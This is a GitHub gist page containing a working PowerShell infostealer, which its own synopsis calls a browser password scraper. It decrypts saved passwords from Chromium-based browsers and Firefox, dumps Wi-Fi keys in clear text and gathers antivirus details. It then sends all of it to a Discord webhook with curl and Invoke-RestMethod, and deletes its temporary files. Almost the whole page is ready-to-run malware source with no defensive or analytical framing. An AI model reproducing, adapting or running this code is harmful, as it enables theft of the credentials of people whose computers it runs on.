Skip to content

Instantly share code, notes, and snippets.

@Gravity3432
Last active July 25, 2026 21:26
Show Gist options
  • Select an option

  • Save Gravity3432/ef66a1a99776b45f2cefd32a1463cf32 to your computer and use it in GitHub Desktop.

Select an option

Save Gravity3432/ef66a1a99776b45f2cefd32a1463cf32 to your computer and use it in GitHub Desktop.
<#
.SYNOPSIS
Self-contained browser password scraper. C# 5.0 compatible (PS 5.1).
Uses winsqlite3.dll, BCrypt, and Firefox NSS3.
Exfiltrates to Discord webhook set via $DiscordUrl.
#>
# ------------------------------------------------------------
# WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11)
# ------------------------------------------------------------
Add-Type @"
using System;
using System.Runtime.InteropServices;
public static class WinSQLite3 {
const string d = "winsqlite3";
[DllImport(d,EntryPoint="sqlite3_open")]
public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f,out IntPtr db);
[DllImport(d,EntryPoint="sqlite3_prepare16_v2")]
public static extern IntPtr Prepare2(IntPtr db,[MarshalAs(UnmanagedType.LPWStr)]string s,int n,out IntPtr stmt,IntPtr t);
[DllImport(d,EntryPoint="sqlite3_step")]
public static extern IntPtr Step(IntPtr stmt);
[DllImport(d,EntryPoint="sqlite3_column_text16")]
static extern IntPtr ColTxt16(IntPtr s,int i);
[DllImport(d,EntryPoint="sqlite3_column_bytes")]
static extern int ColBytes(IntPtr s,int i);
[DllImport(d,EntryPoint="sqlite3_column_blob")]
static extern IntPtr ColBlob(IntPtr s,int i);
[DllImport(d,EntryPoint="sqlite3_finalize")]
public static extern IntPtr Finalize(IntPtr s);
[DllImport(d,EntryPoint="sqlite3_close")]
public static extern IntPtr Close(IntPtr db);
public static string ColStr(IntPtr s,int i){return Marshal.PtrToStringUni(ColTxt16(s,i));}
public static byte[] ColByt(IntPtr s,int i){int l=ColBytes(s,i);byte[]r=new byte[l];if(l>0)Marshal.Copy(ColBlob(s,i),r,0,l);return r;}
}
"@
# ------------------------------------------------------------
# BCrypt AES-256-GCM (Win8+)
# ------------------------------------------------------------
Add-Type @"
using System;
using System.Runtime.InteropServices;
public static class BCryptAES {
[StructLayout(LayoutKind.Sequential)]
struct AI{public int cbs,dwv;public IntPtr pn;public int cn;public IntPtr pa;public int ca;public IntPtr pt;public int ct;public IntPtr pm;public int cm;public int caa;public long cd;public uint df;}
[DllImport("bcrypt.dll")]static extern int BCryptOpenAlgorithmProvider(out IntPtr h,string i,string m,uint f);
[DllImport("bcrypt.dll")]static extern int BCryptCloseAlgorithmProvider(IntPtr h,uint f);
[DllImport("bcrypt.dll")]static extern int BCryptSetProperty(IntPtr h,string p,byte[]v,int c,uint f);
[DllImport("bcrypt.dll")]static extern int BCryptGenerateSymmetricKey(IntPtr h,out IntPtr k,IntPtr o,int oc,byte[]s,int sc,uint f);
[DllImport("bcrypt.dll")]static extern int BCryptDecrypt(IntPtr k,byte[]i,int ic,ref AI a,byte[]iv,int ivc,byte[]o,int oc,out int r,uint f);
[DllImport("bcrypt.dll")]static extern int BCryptDestroyKey(IntPtr k);
public static byte[] Decrypt(byte[] key,byte[] nonce,byte[] ct,byte[] tag){
IntPtr ha=IntPtr.Zero,hk=IntPtr.Zero;
try{
if(BCryptOpenAlgorithmProvider(out ha,"AES",null,0)!=0)throw new Exception("alg");
byte[]g=System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM");
BCryptSetProperty(ha,"ChainingMode",g,g.Length,0);
if(BCryptGenerateSymmetricKey(ha,out hk,IntPtr.Zero,0,key,key.Length,0)!=0)throw new Exception("key");
byte[]inp=new byte[ct.Length+tag.Length];
Array.Copy(ct,0,inp,0,ct.Length);Array.Copy(tag,0,inp,ct.Length,tag.Length);
AI ai=new AI();ai.cbs=Marshal.SizeOf(typeof(AI));ai.dwv=1;
GCHandle nh=GCHandle.Alloc(nonce,GCHandleType.Pinned);GCHandle th=GCHandle.Alloc(tag,GCHandleType.Pinned);
ai.pn=nh.AddrOfPinnedObject();ai.cn=nonce.Length;
ai.pt=th.AddrOfPinnedObject();ai.ct=tag.Length;
byte[]o=new byte[ct.Length];int rs;
if(BCryptDecrypt(hk,inp,inp.Length,ref ai,null,0,o,o.Length,out rs,0)!=0)throw new Exception("decrypt");
nh.Free();th.Free();
byte[]r=new byte[rs];Array.Copy(o,r,rs);return r;
}finally{if(hk!=IntPtr.Zero)BCryptDestroyKey(hk);if(ha!=IntPtr.Zero)BCryptCloseAlgorithmProvider(ha,0);}
}
}
"@
# ------------------------------------------------------------
# Upload-Discord
# ------------------------------------------------------------
function Upload-Discord {
param([string]$file, [string]$text)
$Body = @{ username = $env:username; content = $text }
if ($text) { Invoke-RestMethod -ContentType 'Application/Json' -Uri $DiscordUrl -Method Post -Body ($Body | ConvertTo-Json) }
if ($file) { curl.exe -F "file1=@$file" $DiscordUrl }
}
# ------------------------------------------------------------
# Chromium password scraper (Chrome/Edge/Brave/Opera/Vivaldi)
# ------------------------------------------------------------
function Get-ChromiumPasswords {
param([string]$BrowserName, [string]$UserDataPath)
$results = @()
$localState = Join-Path $UserDataPath "Local State"
if (-not (Test-Path $localState)) { return $results }
try {
$json = Get-Content $localState -Raw | ConvertFrom-Json
$b64 = $json.os_crypt.encrypted_key
if (-not $b64) { return $results }
$enc = [Convert]::FromBase64String($b64)
$enc = $enc[5..($enc.Length - 1)]
$aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect(
$enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
} catch { return $results }
$profiles = @(Get-ChildItem $UserDataPath -Directory -ErrorAction SilentlyContinue |
Where-Object { $_.Name -like "Profile*" -or $_.Name -eq "Default" })
if ($profiles.Count -eq 0 -and (Test-Path $UserDataPath)) {
$profiles = @(Get-Item $UserDataPath)
}
foreach ($profile in $profiles) {
$loginDb = Join-Path $profile.FullName "Login Data"
if (-not (Test-Path $loginDb)) { continue }
$tmpDb = Join-Path $env:TEMP "cdb_$([Guid]::NewGuid()).db"
try {
Copy-Item $loginDb $tmpDb -Force -ErrorAction Stop
$dbH = [IntPtr]::Zero
if ([WinSQLite3]::Open($tmpDb, [ref]$dbH) -ne 0) { continue }
$stmt = [IntPtr]::Zero
if ([WinSQLite3]::Prepare2($dbH,
"SELECT origin_url, username_value, password_value FROM logins WHERE blacklisted_by_user = 0",
-1, [ref]$stmt, [IntPtr]::Zero) -ne 0) {
[WinSQLite3]::Close($dbH) | Out-Null; continue
}
while ([WinSQLite3]::Step($stmt) -eq 100) {
$url = [WinSQLite3]::ColStr($stmt, 0)
$user = [WinSQLite3]::ColStr($stmt, 1)
$passBlob = [WinSQLite3]::ColByt($stmt, 2)
if (-not $passBlob -or $passBlob.Length -lt 3) { continue }
$hdr = [Text.Encoding]::ASCII.GetString($passBlob, 0, 3)
if ($hdr -eq 'v10' -or $hdr -eq 'v20') {
try {
$nonce = $passBlob[3..14]
$ct = $passBlob[15..($passBlob.Length - 17)]
$tag = $passBlob[($passBlob.Length - 16)..($passBlob.Length - 1)]
$pass = [Text.Encoding]::UTF8.GetString([BCryptAES]::Decrypt($aesKey, $nonce, $ct, $tag))
} catch { $pass = "(decrypt error)" }
} else {
try {
$pass = [Text.Encoding]::UTF8.GetString(
[System.Security.Cryptography.ProtectedData]::Unprotect(
$passBlob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
} catch { $pass = "(decrypt error)" }
}
if ($url -and $pass) {
$results += [PSCustomObject]@{Browser=$BrowserName;Profile=$profile.Name;URL=$url;Username=$user;Password=$pass}
}
}
[WinSQLite3]::Finalize($stmt) | Out-Null
[WinSQLite3]::Close($dbH) | Out-Null
} catch {}
finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue }
}
return $results
}
# ------------------------------------------------------------
# Firefox password scraper
# ------------------------------------------------------------
function Get-FirefoxPasswords {
$results = @()
$ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles"
if (-not (Test-Path $ffProfiles)) { return $results }
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public static class NSS {
[DllImport("kernel32.dll")]static extern IntPtr LoadLibrary(string p);
[DllImport("kernel32.dll")]static extern IntPtr GetProcAddress(IntPtr h,string n);
[DllImport("kernel32.dll")]static extern bool FreeLibrary(IntPtr h);
[StructLayout(LayoutKind.Sequential)]public struct SECItem{public uint type;public IntPtr data;public uint len;}
delegate int NSS_InitD(string p);
delegate int SDR_DecryptD(IntPtr d,IntPtr r,IntPtr c);
delegate int NSS_ShutdownD();
static IntPtr hn,hm;
public static bool Init(string ff,string prof){
hm=LoadLibrary(ff+"\\mozglue.dll");hn=LoadLibrary(ff+"\\nss3.dll");
if(hn==IntPtr.Zero)return false;
NSS_InitD init=(NSS_InitD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Init"),typeof(NSS_InitD));
return init(prof)==0;
}
public static string Decrypt(string b64){
byte[]d=Convert.FromBase64String(b64);IntPtr dp=Marshal.AllocHGlobal(d.Length);
Marshal.Copy(d,0,dp,d.Length);
SECItem si=new SECItem();si.type=0;si.data=dp;si.len=(uint)d.Length;
IntPtr sp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem)));
Marshal.StructureToPtr(si,sp,false);
IntPtr rp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem)));
Marshal.WriteInt64(rp,0,0);Marshal.WriteInt64(rp,8,0);Marshal.WriteInt32(rp,12,0);
SDR_DecryptD dec=(SDR_DecryptD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"PK11SDR_Decrypt"),typeof(SDR_DecryptD));
if(dec(sp,rp,IntPtr.Zero)!=0){Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);return null;}
uint ol=(uint)Marshal.ReadInt32(rp,8);IntPtr od=Marshal.ReadIntPtr(rp);
byte[]r=new byte[ol];Marshal.Copy(od,r,0,(int)ol);
Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);
return Encoding.UTF8.GetString(r);
}
public static void Shutdown(){
if(hn!=IntPtr.Zero){
NSS_ShutdownD sd=(NSS_ShutdownD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Shutdown"),typeof(NSS_ShutdownD));
sd();FreeLibrary(hn);
}
if(hm!=IntPtr.Zero)FreeLibrary(hm);
}
}
"@ | Out-Null
$ffDir = Join-Path ${env:ProgramFiles} "Mozilla Firefox"
if (-not (Test-Path $ffDir)) { $ffDir = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" }
if (-not (Test-Path $ffDir)) { return $results }
foreach ($profDir in Get-ChildItem $ffProfiles -Directory) {
$loginsJson = Join-Path $profDir.FullName "logins.json"
$keyDb = Join-Path $profDir.FullName "key4.db"
if (-not (Test-Path $loginsJson) -or -not (Test-Path $keyDb)) { continue }
try {
if (-not [NSS]::Init($ffDir, $profDir.FullName)) { continue }
$logins = Get-Content $loginsJson -Raw | ConvertFrom-Json
foreach ($l in $logins.logins) {
try {
$u = [NSS]::Decrypt($l.encryptedUsername)
$p = [NSS]::Decrypt($l.encryptedPassword)
$results += [PSCustomObject]@{Browser="Firefox";Profile=$profDir.Name;URL=$l.hostname;Username=$u;Password=$p}
} catch {}
}
[NSS]::Shutdown()
} catch {}
}
return $results
}
# ------------------------------------------------------------
# WiFi password grabber
# ------------------------------------------------------------
function Wifi {
$tmp = Join-Path $env:TEMP "wfb_$([Guid]::NewGuid())"
New-Item -Path $tmp -ItemType Directory -Force | Out-Null
Set-Location $tmp; netsh wlan export profile key=clear | Out-Null
$out = Join-Path $env:TEMP "wifi_passwords.txt"
Select-String -Path *.xml -Pattern 'keyMaterial' |
% { $_ -replace '', '' } |
% { $_ -replace "C:\\Users\\$env:UserName\\Desktop\\", '' } |
% { $_ -replace '.xml:22:', '' } > $out
Upload-Discord -file $out -text ":satellite: WiFi Passwords"
Set-Location $env:TEMP
Remove-Item $tmp -Force -Recurse -ErrorAction SilentlyContinue
Remove-Item $out -Force -ErrorAction SilentlyContinue
}
# ------------------------------------------------------------
# Antivirus info
# ------------------------------------------------------------
function version-av {
$f = Join-Path $env:TEMP "av_info.txt"
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct |
Out-File -FilePath $f -Encoding utf8
Upload-Discord -file $f -text ":shield: AV Info"
Remove-Item $f -Force -ErrorAction SilentlyContinue
}
# ------------------------------------------------------------
# Browser orchestrator
# ------------------------------------------------------------
function Get-BrowserPasswords {
$all = @()
$targets = @(
@{N="Chrome"; P="$env:LOCALAPPDATA\Google\Chrome\User Data"}
@{N="Chrome Beta"; P="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"}
@{N="Edge"; P="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}
@{N="Brave"; P="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"}
@{N="Opera"; P="$env:APPDATA\Opera Software\Opera Stable"}
@{N="Opera GX"; P="$env:APPDATA\Opera Software\Opera GX Stable"}
@{N="Vivaldi"; P="$env:LOCALAPPDATA\Vivaldi\User Data"}
@{N="Chromium"; P="$env:LOCALAPPDATA\Chromium\User Data"}
)
foreach ($t in $targets) {
if (Test-Path $t.P) { $all += Get-ChromiumPasswords -BrowserName $t.N -UserDataPath $t.P }
}
$all += Get-FirefoxPasswords
if ($all.Count -eq 0) {
Upload-Discord -text ":key: Browser Passwords : No credentials found."
return
}
$tmp = Join-Path $env:TEMP "browser_passwords.txt"
$all | Sort-Object Browser, URL | % {
"$($_.Browser)|$($_.Profile)|$($_.URL)|$($_.Username)|$($_.Password)"
} | Out-File $tmp -Encoding utf8
$browsers = ($all | Select-Object -ExpandProperty Browser -Unique) -join ', '
Upload-Discord -file $tmp -text ":key: Browser Passwords : $($all.Count) entries ($browsers)"
Remove-Item $tmp -Force -ErrorAction SilentlyContinue
}
# ------------------------------------------------------------
# RUN
# ------------------------------------------------------------
version-av
Wifi
Get-BrowserPasswords
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment